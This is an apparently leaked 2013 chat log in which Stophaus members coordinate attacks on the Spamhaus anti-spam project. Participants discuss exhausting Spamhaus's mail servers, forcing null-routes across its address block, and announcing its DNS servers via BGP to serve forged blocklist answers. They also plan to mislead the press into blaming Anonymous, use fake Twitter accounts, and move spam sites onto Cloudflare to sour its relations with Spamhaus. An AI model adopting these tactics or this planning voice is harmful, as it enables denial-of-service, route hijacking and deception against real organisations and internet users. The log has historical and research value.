2860[19.03.2013 09:01:57] eDataKing: Spamhaus Datafeed Query Service is available from only US$250 per annum through to subscription rates costing a few cents per user per annum.
2861[19.03.2013 09:02:22] eDataKing: How mad would those customers that paid $250 a year for the datafeed would be if they couldn't access it?
2862[19.03.2013 09:36:22] eDataKing: Enjoy! http://stophaus.com/showthread.php?126-The-Spamtec-Thread&p=153#post153
2863[19.03.2013 09:54:23] eDataKing: Definitions of Cyber-Terrorism in US and UK
2864http://stophaus.com/showthread.php?127-Cyber-Terrorism-is-still-Terrorism&p=154#post154
2865[19.03.2013 10:40:21] eDataKing: Anyone know iMedia (Lindsay)?
2866[19.03.2013 10:40:28] eDataKing: asset or liability?
2867[19.03.2013 11:16:30] Yuri: øфÑÂû
2868[19.03.2013 11:16:33] Yuri: back
2869[19.03.2013 11:16:37] Yuri: let me read
2870[19.03.2013 12:08:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: .
2871[19.03.2013 12:09:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha false positives 0.00% hahahahahaa
2872[19.03.2013 12:09:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: skem
2873[19.03.2013 12:09:53] simomchen: skem ?
2874[19.03.2013 12:10:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: habbo hotel speak for scam
2875[19.03.2013 12:10:31] simomchen: what's skem ?
2876[19.03.2013 12:10:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: SKEM!
2877[19.03.2013 12:10:56] simomchen: :)
2878[19.03.2013 12:12:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: edataking/yuri: appearntly the captcha for the registration on the forum is broken
2879[19.03.2013 12:13:34] Yuri: ok, we check
2880[19.03.2013 12:35:46] Antitheist: lol, anonymous indonesia took the responsibility for the spamhaus ddos
2881[19.03.2013 12:35:51] Antitheist: https://twitter.com/anonnewsindo
2882[19.03.2013 12:36:38] Antitheist: wait no, its all over softpedia! hahaha
2883[19.03.2013 12:37:31] Antitheist: http://news.softpedia.com/news/Anonymous-Hackers-Launch-DDOS-Attack-Against-Spamhaus-338382.shtml
2884[19.03.2013 12:46:11] narko: http://www.spamhaus.org/sbl/query/SBL179322
2885[19.03.2013 12:46:39] Antitheist: http://www.spamhaus.org/sbl/query/SBL179321
2886[19.03.2013 12:51:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: seriously forum, fuck off with your 'flood'
2887[19.03.2013 12:51:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a few kb of text is not a 'flood'
2888[19.03.2013 12:51:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a few gb of text would be a flood
2889[19.03.2013 12:51:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which fucking nerd coded that shit
2890[19.03.2013 12:54:05] Yuri: SBLs - it's almost all they could do, nothing more.
2891[19.03.2013 12:55:30] Yuri: people report that MAIL from spamhaus start working
2892[19.03.2013 12:55:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oeh! spam!
2893[19.03.2013 12:56:03] Antitheist: the mail is their weakest point, since cloudflare cannot protect it
2894[19.03.2013 12:56:22] Antitheist: so we need to hit there. the result means no SBL removals :)
2895[19.03.2013 12:56:33] Antitheist: mad mad admins pulling off hair :D
2896[19.03.2013 12:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just run the piece of shit out of filedescriptors..
2897[19.03.2013 12:56:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its an smtp server... max 1000 tcp sessions at a time
2898[19.03.2013 12:56:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not that hard :P
2899[19.03.2013 12:57:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: those things were never coded for hostile environments
2900[19.03.2013 12:57:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 3 connections per ip per minute or so, 1000 max at a time
2901[19.03.2013 12:57:32] Antitheist: how many smtp servers they have? lets see
2902[19.03.2013 12:57:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think now they have 2
2903[19.03.2013 12:57:50] Antitheist: LOL
2904[19.03.2013 12:57:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as in the xs4all block there now -also- is an smtp-ext-layer-b.spamhaus.org
2905[19.03.2013 12:58:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: instead of just smtp-ext-layer.spamhaus.org
2906[19.03.2013 12:58:02] Antitheist: dig mx spamhaus.org
2907[19.03.2013 12:58:11] Antitheist: make sure you sit tight
2908[19.03.2013 12:58:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha gmail
2909[19.03.2013 12:58:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha
2910[19.03.2013 12:58:49] Antitheist: gmail apps hahaha :P aka we got fucked we need the biggest giants to host us
2911[19.03.2013 12:59:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well i think xs4all already told them to take their crap and leave
2912[19.03.2013 12:59:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but they have to give em a while
2913[19.03.2013 13:01:17] narko:
2914------------------------------------------------------------------------
2915The Spamhaus Project - SBL International Anti-Spam System
2916------------------------------------------------------------------------
2917
2918Thank you for contacting the Spamhaus Block List. This response is
2919sent to let you know that your query was received and will be dealt
2920with as soon as possible.
2921[19.03.2013 13:01:23] narko: i just got this from my email sent 10 hours ago
2922[19.03.2013 13:01:27] narko: i think their mail is back up now
2923[19.03.2013 13:01:59] Antitheist: it is
2924[19.03.2013 13:02:03] Antitheist: since its gmail
2925[19.03.2013 13:02:35] Yuri: ;; QUESTION SECTION:
2926;spamhaus.org. IN MX
2927
2928;; ANSWER SECTION:
2929spamhaus.org. 300 IN MX 10 ASPMX3.GOOGLEMAIL.COM.
2930spamhaus.org. 300 IN MX 1 ASPMX.L.GOOGLE.COM.
2931spamhaus.org. 300 IN MX 5 ALT1.ASPMX.L.GOOGLE.COM.
2932spamhaus.org. 300 IN MX 5 ALT2.ASPMX.L.GOOGLE.COM.
2933spamhaus.org. 300 IN MX 10 ASPMX2.GOOGLEMAIL.COM.
2934[19.03.2013 13:02:40] Yuri: wtf
2935[19.03.2013 13:02:49] Yuri: lol :)))
2936[19.03.2013 13:02:52] Yuri: megalol
2937[19.03.2013 13:03:10] Yuri: can we spam there?
2938[19.03.2013 13:03:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they don't resolve sbl
2939[19.03.2013 13:03:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
2940[19.03.2013 13:03:20] Yuri: i think we can send them mass mail to delist all SBLs :)
2941[19.03.2013 13:03:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hell why not haha
2942[19.03.2013 13:03:31] Yuri: we have database of all SBLs.
2943[19.03.2013 13:03:43] Yuri: but the problem is we could send them from 1 IP/email ?
2944[19.03.2013 13:03:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: reason 'no permit to store and process personal details in the first place'
2945[19.03.2013 13:03:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2946[19.03.2013 13:03:53] Yuri: we can put different emails as back emails
2947[19.03.2013 13:04:20] narko: I will also use google apps
2948[19.03.2013 13:04:24] narko: then the SBL means nothing :P
2949[19.03.2013 13:04:36] Antitheist: its only for mail
2950[19.03.2013 13:04:58] simomchen: they will sent a email to google for disable your google app account
2951[19.03.2013 13:05:10] narko: i'm a paying customer of google since 2007
2952[19.03.2013 13:05:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the sbl means nothing anyway
2953[19.03.2013 13:05:15] simomchen: I disabled more them 3 google app accounts by them before
2954[19.03.2013 13:05:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as google doesn't resolve sbl
2955[19.03.2013 13:05:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2956[19.03.2013 13:05:26] narko: yes but
2957[19.03.2013 13:05:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: google has its own stuff
2958[19.03.2013 13:05:30] narko: people will start ignoring their invoices
2959[19.03.2013 13:05:35] narko: because they dont get the emails
2960[19.03.2013 13:05:35] narko: lol
2961[19.03.2013 13:05:52] Yuri: hey.
2962[19.03.2013 13:05:59] Yuri: they just use google to forward email
2963[19.03.2013 13:06:27] Antitheist: can someone post headers of the automatic mail received by them?
2964[19.03.2013 13:06:37] Antitheist: from them i mean
2965[19.03.2013 13:06:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: probably still comes from xs4all
2966[19.03.2013 13:06:45] Antitheist: the automatic SBL removal shit
2967[19.03.2013 13:06:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko had one
2968[19.03.2013 13:07:24] narko: yes but I use WHMCS
2969[19.03.2013 13:07:27] narko: i can't see the headers
2970[19.03.2013 13:08:01] Antitheist: but you have an smtpd there
2971[19.03.2013 13:08:19] narko: i can see their response
2972[19.03.2013 13:08:24] narko: if i start the listen
2973[19.03.2013 13:08:35] Yuri: narko, check email headers
2974[19.03.2013 13:08:39] Yuri: what IP stands there
2975[19.03.2013 13:09:21] narko: Mar 19 11:00:20 localhost sendmail[16474]: r2JB0KxL016474: from=<MAILER-DAEMON@europe.spamhaus.org>, size=1716, class=-100, nrcpts=1, msgid=<A.1UHuHQ-000NaB-Ox@domain.invalid>, proto=ESMTP, daemon=MTA, relay=[82.94.216.238]
2976[19.03.2013 13:10:22] Antitheist: yes its smtp-ext-layer.spamhaus.org
2977[19.03.2013 13:11:26] Antitheist: ;; QUESTION SECTION:
2978;europe.spamhaus.org. IN MX
2979
2980;; ANSWER SECTION:
2981europe.spamhaus.org. 300 IN MX 10 smtp-ext-layer.spamhaus.org.
2982[19.03.2013 13:13:08] Yuri: so we see that all is stand in the same rack
2983[19.03.2013 13:13:23] narko: lol
2984[19.03.2013 13:13:25] Antitheist: Yuri you got spamhaus pissed on corbina, right now 2 /24s and 1 /23s listed
2985[19.03.2013 13:13:34] narko: they now listed 2 x /24 and 1x /23 of Corbina due to this site
2986[19.03.2013 13:14:20] narko: are they anti-spam or anti-stophaus (wasntme)
2987[19.03.2013 13:14:32] Antitheist: they are pro-money
2988[19.03.2013 13:14:41] Antitheist: and stophaus makes them lose it :)
2989[19.03.2013 13:14:42] narko: I want a non-profit that i can buy a boat with too
2990[19.03.2013 13:15:07] Antitheist: no you got the idea wrong
2991[19.03.2013 13:15:21] Antitheist: its non profit for ISPS (you wont have any profit from using their shitlists)
2992[19.03.2013 13:15:23] Yuri: i tell you the IP where to fuck them off. second
2993[19.03.2013 13:15:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now, they're basically, committing plain old censorship and blackmail
2994[19.03.2013 13:15:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats good
2995[19.03.2013 13:15:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: post that to the forum
2996[19.03.2013 13:15:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with screenshots of those listings
2997[19.03.2013 13:15:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as obviousy, the forum, is not a spam source or whatever.
2998[19.03.2013 13:15:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: this is plain old spamhaus censorship
2999[19.03.2013 13:15:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't get clearer than that
3000[19.03.2013 13:16:23] narko: i know a good lawyer in the UK
3001[19.03.2013 13:16:28] Yuri: SBL179332 78.107.19.0/24 corbina.net
300219-Mar 11:04 GMT Spammer hosting (escalation)
3003SBL179331 85.21.78.0/24 corbina.net
300419-Mar 11:04 GMT Spammer hosting (escalation)
3005SBL179330 195.14.50.0/23 corbina.net
300619-Mar 11:03 GMT Spammer hosting (escalation)
3007FINE :))))
3008[19.03.2013 13:16:30] narko: but is that the correct place to do it?
3009[19.03.2013 13:19:57] narko: http://www.mediaite.com/cease-and-desist-generator/
3010[19.03.2013 13:19:57] narko: :P
3011[19.03.2013 13:22:17] Antitheist: lets put stophaus in /etc/hosts to continue using it, but point A record to various datacenters
3012[19.03.2013 13:22:23] Antitheist: i want a rokso party :D
3013[19.03.2013 13:22:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm.
3014[19.03.2013 13:22:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: im considering to announce all of spamhaus their sbl/zen dns servers as /32 on amsix, decix, nl-ix
3015[19.03.2013 13:23:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with a piece of perl behind it that gives -this- answer
3016[19.03.2013 13:23:26] Antitheist: is that allowed?
3017[19.03.2013 13:23:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: A? *.*.*.*.zen.spamhaus.org A 127.0.0.4 (shitlisted good)
3018[19.03.2013 13:23:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TXThttp://www.stophaus.com/forum.php/?some post explaining why its a bad idea to resolve spamhaus
3019[19.03.2013 13:24:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so -everyone- that resolves spamhaus and is closer in bgp hops to us than to them gets that in their mail
3020[19.03.2013 13:24:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the rest of em will no doubt read it in the press or on forums or on nanog
3021[19.03.2013 13:24:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3022[19.03.2013 13:24:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now, we might need a new asn shortly after that hahaha
3023[19.03.2013 13:24:37] narko: do it ! :D
3024[19.03.2013 13:24:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: will get coding on something that answers on 0.0.0.0 and actually -binds- to 0.0.0.0
3025[19.03.2013 13:25:08] narko: yum install bind
3026[19.03.2013 13:25:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: either have to put all those ips on the box, or switch off the kernels own udp stack for it
3027[19.03.2013 13:25:16] Antitheist: dnsmasq does that
3028[19.03.2013 13:25:21] Antitheist: out of the box
3029[19.03.2013 13:25:36] Antitheist: and uses /etc/hosts or upstream dns (google, opendns, whatever)
3030[19.03.2013 13:25:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah but dnsmasq won't give me an eth0 with 0.0.0.0 netmask 0.0.0.0 as its ip
3031[19.03.2013 13:25:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and still answers to all arp queries from the router for each ip trying to be addressed on it
3032[19.03.2013 13:25:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3033[19.03.2013 13:26:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well i could actually run it -on- one of our routers...
3034[19.03.2013 13:26:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and just put the ips on dummy0 and redistribute static/kernel/interfaces
3035[19.03.2013 13:26:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and indeed, just use bind in that case... put them in roots.hint or something
3036[19.03.2013 13:27:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'll think of something..
3037[19.03.2013 13:27:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gonna take a few hours tho
3038[19.03.2013 13:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm.. a tun/tap interface also won't interfere with the udp.. as it won't consider the process that opens the tun device as part of that box
3039[19.03.2013 13:29:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (things were so much easier when we just had dos and a packet driver on int60h lol
3040[19.03.2013 13:29:10] narko: (wait)
3041[19.03.2013 13:29:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: none of that 'the kernel wants to do something by itself for that protocol number'
3042[19.03.2013 13:29:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3043[19.03.2013 13:29:20] narko: revert everything
3044[19.03.2013 13:30:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm... iptables nat could do it.... but not for 'half the fucking internet at a time'
3045[19.03.2013 13:31:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm.. the ips don't change that often, maybe they will change during this lol
3046[19.03.2013 13:31:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so its not so much an issue if bind doesn't exactly properly bind to all things
3047[19.03.2013 13:31:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when ips change a lot
3048[19.03.2013 13:35:08] Yuri: WTF
3049[19.03.2013 13:35:11] Yuri: spamhaus realy angry
3050[19.03.2013 13:35:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: why does stophaus.com say / FORBIDDEN
3051[19.03.2013 13:35:19] Yuri: they found our fake twitter account and suspend it
3052[19.03.2013 13:35:28] Yuri: sec. i update php for gd
3053[19.03.2013 13:35:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah
3054[19.03.2013 13:35:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ok
3055[19.03.2013 13:35:33] Yuri: so capcha work
3056[19.03.2013 13:35:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also fix that when i post a reply to my own post it posts its 3 times and then goes 'omg flood!'
3057[19.03.2013 13:35:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: instead of just once
3058[19.03.2013 13:36:31] Yuri: yes. it's should edataking do.
3059[19.03.2013 13:51:59] Yuri: SQL injection should be like this onehttps://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-snc7/418973_4873305585227_364911139_n.jpg
3060[19.03.2013 14:15:38] Yuri: i fix the server with stophaus
3061[19.03.2013 14:20:36] narko: their new mail ip is null routed
3062[19.03.2013 14:45:13] Antitheist: http://www.spamhaus.org/sbl/latest/
3063[19.03.2013 14:45:21] Antitheist: 11 snowshoe ranges for today
3064[19.03.2013 14:45:47] Yuri: i see very hight activitu today
3065[19.03.2013 14:45:49] narko: and 6 blocks related to a vbulletin forum
3066[19.03.2013 14:45:50] Yuri: in twitter
3067[19.03.2013 14:45:59] Yuri: after the new that anonymouse ddos spamhaus
3068[19.03.2013 14:46:09] Yuri: news.softpedia.com
3069[19.03.2013 14:46:16] Antitheist: they think its anonymous because of Svens pastebin
3070[19.03.2013 14:46:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also good
3071[19.03.2013 14:46:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then the rest of anon also thinks its anon :P
3072[19.03.2013 14:47:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and starts to help
3073[19.03.2013 14:47:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3074[19.03.2013 14:47:17] Yuri: wow what a news
3075[19.03.2013 14:47:17] Antitheist: lol anon-amplification yeah
3076[19.03.2013 14:47:26] Yuri: spamhaus says in twitter that softpedia new is false
3077[19.03.2013 14:47:29] Yuri: :)))
3078[19.03.2013 14:47:40] Yuri:http://www.spamhaus.org/news/article/693/softpedia-publish-misleading-story-of-anonymous-attack-on-spamhaus
3079[19.03.2013 14:47:41] Antitheist: what twitter account Yuri?
3080[19.03.2013 14:47:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: according to spamhaus, its obviously edataking
3081[19.03.2013 14:47:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we're all edataking
3082[19.03.2013 14:47:53] Yuri: just put in search "spamhaus"
3083[19.03.2013 14:47:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: each and every one of us is a sockpuppet for edataking
3084[19.03.2013 14:47:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3085[19.03.2013 14:48:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: except for me, i am the russian business network
3086[19.03.2013 14:48:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so far for their intel
3087[19.03.2013 14:48:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3088[19.03.2013 14:51:32] Yuri: http://stophaus.com/register.php?s=1fc05ded763dd04573e4483fa2522c4e
3089[19.03.2013 14:51:38] Yuri: registration page fixed
3090[19.03.2013 14:51:54] narko: 14:47 - Jack: If you sue their UK company they'll spend their £20k on legal fees and then declare bankruptcy
309114:47 - Jack: Then give their assets back to their holding company
309214:47 - Jack: If you sue their holding company, it's done nothing wrong and the case gets thrown out
3093[19.03.2013 14:52:24] Yuri:http://www.spamhaus.org/news/article/693/softpedia-publish-misleading-story-of-anonymous-attack-on-spamhaus
3094[19.03.2013 14:52:40] Yuri: they wrote a new that russian malware gang ddos them
3095[19.03.2013 14:53:00] narko: lol
3096[19.03.2013 14:53:15] narko: russian malware gang..
3097[19.03.2013 14:53:20] narko: i dont know where they got this idea from
3098[19.03.2013 14:53:36] Antitheist: well narko you a russian
3099[19.03.2013 14:53:41] narko: no i am not
3100[19.03.2013 14:53:48] Antitheist: so what are you?
3101[19.03.2013 14:53:51] Yuri: heh...
31022013-03-19 11:42:30 GMT, by Quentin Jenkins
3103[19.03.2013 14:53:53] narko: europen
3104[19.03.2013 14:53:54] Yuri: new one person
3105[19.03.2013 14:54:12] narko: I think now it's best if I will go after every IP in their /27
3106[19.03.2013 14:54:16] Antitheist: european in terms of spamhaus is russian malware criminal :)
3107[19.03.2013 14:54:20] narko: and cause a nullroute on every ip ;)
3108[19.03.2013 14:56:56] narko: http://www.actionfraud.police.uk/
3109[19.03.2013 14:57:01] narko: everyone file a report on this site
3110[19.03.2013 14:57:23] narko: i am going to speak on their live chat
3111[19.03.2013 14:57:34] narko: and ask what they can do..
3112[19.03.2013 14:58:16] Yuri: somebody need to be UK citizen i think
3113[19.03.2013 14:58:22] narko: oh
3114[19.03.2013 14:58:35] narko: my friend can do it but he is not listed in spamhaus..
3115[19.03.2013 14:58:41] narko: he is not a victim but he live in UK
3116[19.03.2013 14:58:51] Yuri: he can represend you if need.
3117[19.03.2013 14:58:54] narko: i will ask him
3118[19.03.2013 14:58:55] Yuri: it's normal legal way
3119[19.03.2013 15:08:47] eDataKing: Softpedia is so retarded. They said Anonymous was attacking SH
3120[19.03.2013 15:09:17] narko: i think because anonymous wrote it on their twitter
3121[19.03.2013 15:09:22] eDataKing: leave that alone or advise of error (just that they are wrong, but not what is correct)
3122[19.03.2013 15:09:33] eDataKing: they did not
3123[19.03.2013 15:09:37] Yuri: a lot of spam in twitter
3124[19.03.2013 15:09:48] eDataKing: ok, votes..
3125[19.03.2013 15:09:51] Yuri: we need PR manager to write more information for much people with twitter.
3126[19.03.2013 15:10:05] eDataKing: 1. Let them think Anons were behind it and do not dispute
3127[19.03.2013 15:10:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't sign up for twitter as i don't have any working email lol
3128[19.03.2013 15:10:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: edataking: its allready all over the press that its not anons lol.
3129[19.03.2013 15:10:22] Antitheist: I know Mohit from thehackernews, if it gets posted there it will soon be viral
3130[19.03.2013 15:10:26] eDataKing: or 2. Remind them that Anons are everyone and Anonymous as a group did not orchestrate it
3131[19.03.2013 15:10:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least in .nl its quite clear that its the republic cyberbunker and others
3132[19.03.2013 15:10:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
3133[19.03.2013 15:10:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that anon also has some ehm... stuff to 'arrange' with spamhaus, is a different story
3134[19.03.2013 15:11:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: *points out that over half of my facebook friends have the masks anyway*
3135[19.03.2013 15:11:28] eDataKing: Anonymous name gets major media
3136[19.03.2013 15:11:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and that i'm still officially the PR guy for anonymous germany
3137[19.03.2013 15:11:35] Yuri: I gave to narko 3 new servers.
3138[19.03.2013 15:11:43] eDataKing: we can dispell on live satelite on Alex Jones if wanted
3139[19.03.2013 15:11:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: alex jones works for disney
3140[19.03.2013 15:11:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt that would be 'neutral ground'
3141[19.03.2013 15:11:58] eDataKing: lol, does he?
3142[19.03.2013 15:12:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep
3143[19.03.2013 15:12:02] Yuri: Sven, pleae do much PR on twitter with spamhaus tags.
3144[19.03.2013 15:12:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the company he gets paid by is 100% owned by disney
3145[19.03.2013 15:12:12] eDataKing: that's hilarious
3146[19.03.2013 15:12:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: paid troll of the zionists, to deflect public opinion
3147[19.03.2013 15:12:30] eDataKing: but he has an audience and i is the right audience
3148[19.03.2013 15:12:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats why nobody takes him serious
3149[19.03.2013 15:12:53] narko: yes i am currently configuring the servers and then we will make down their site again :) their site is on one of these ips in their xs4all /27 we just need to get every 32 ip nullrouted and then it will be down
3150[19.03.2013 15:12:56] eDataKing: well, he is crazy but so is Wags and he has an audience as well
3151[19.03.2013 15:13:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yuri: hmm. thing is, i cannot sign up..
3152[19.03.2013 15:13:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait i still have anus@xs4all.nl :P
3153[19.03.2013 15:13:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: could use that one haha
3154[19.03.2013 15:13:14] eDataKing: We don't want to be crazy, we want the exposure
3155[19.03.2013 15:14:18] Yuri: i check emails
3156[19.03.2013 15:14:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: y my name don't fit twitter..
3157[19.03.2013 15:14:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: HRH Sven Olaf Prince
3158[19.03.2013 15:14:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no space for of cyberbunker-kamphuis, mp
3159[19.03.2013 15:14:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3160[19.03.2013 15:14:52] narko: HRH?
3161[19.03.2013 15:19:55] Yuri: yah. Sven, we need your help, to PR in twitter
3162[19.03.2013 15:20:25] Yuri: post some messages to spamhaus and anonymouse that it's not russian cybercriminals, that's the hell for spamhaus is comming up
3163[19.03.2013 15:20:33] Yuri: that's only beggining.
3164[19.03.2013 15:21:17] Yuri: we need somehow to PR the tests we posted on forum stophaus and webhostingtalk that this company is not valid anymore
3165[19.03.2013 15:21:22] Antitheist: we have to make cloudflare drop them
3166[19.03.2013 15:21:40] Yuri: right now there is PR but no any new what to show for peopl
3167[19.03.2013 15:21:44] Antitheist: one idea can be putting all narko's pharmacy sites behind CF
3168[19.03.2013 15:21:47] Yuri: i think spamhaus afraid of it
3169[19.03.2013 15:22:01] Antitheist: which will result in SBLs and later bad relations between SH/CF
3170[19.03.2013 15:22:32] Antitheist: get your snow shoes out of the closet and put them on CF :)
3171[19.03.2013 15:23:39] Antitheist:http://www.spamhaus.org/rokso/evidence/ROK9517/andrew-stephens-mail-mascot/main-info
3172[19.03.2013 15:23:45] Antitheist: lol eDataKing nice wigs
3173[19.03.2013 15:24:42] Yuri: afk 1 hour
3174[19.03.2013 15:29:29] eDataKing: ok, so we are going to take claim via The Register
3175[19.03.2013 15:29:38] eDataKing: no details, just claim
3176[19.03.2013 15:32:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
3177Your account (@tprcb3rob) is currently suspended. For more information, please visit Suspended Accounts.
3178[19.03.2013 15:32:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that went fast :P
3179[19.03.2013 15:32:57] narko: whatfr?
3180[19.03.2013 15:33:00] narko: why suspended?
3181[19.03.2013 15:33:01] narko: (worry)
3182[19.03.2013 15:33:12] Yuri: wait it was woth me also
3183[19.03.2013 15:33:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: time to get rid of that blackmailing bunch of dusty nerds at @spamhaus
3184[19.03.2013 15:33:17] Yuri: click unsaspend
3185[19.03.2013 15:33:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: there is no 'unsuspend'
3186[19.03.2013 15:33:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3187[19.03.2013 15:33:34] Yuri: don't add too much post per time
3188[19.03.2013 15:33:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: already filed the unsuspend form thingy
3189[19.03.2013 15:33:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well it was -1- post :P
3190[19.03.2013 15:33:48] eDataKing: because you are now experiencing the exact reason I have been so diligent for years
3191[19.03.2013 15:33:54] Yuri: hmmm
3192[19.03.2013 15:33:55] eDataKing: they think they run the whole web
3193[19.03.2013 15:34:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and why the hell bother with that crap anyway, if they can't get their shit to work, i'll just post on facebook haha
3194[19.03.2013 15:34:04] eDataKing: and they have a way of getting some things done
3195[19.03.2013 15:34:15] eDataKing: they got 4 gmail accts suspended of mine
3196[19.03.2013 15:34:43] eDataKing: 1 with a year of messages archived. (nothing too personal because it was a throw-away though)
3197[19.03.2013 15:40:12] narko: i need to go for short time
3198[19.03.2013 15:40:12] narko: 2 hours
3199[19.03.2013 15:40:15] narko: brb
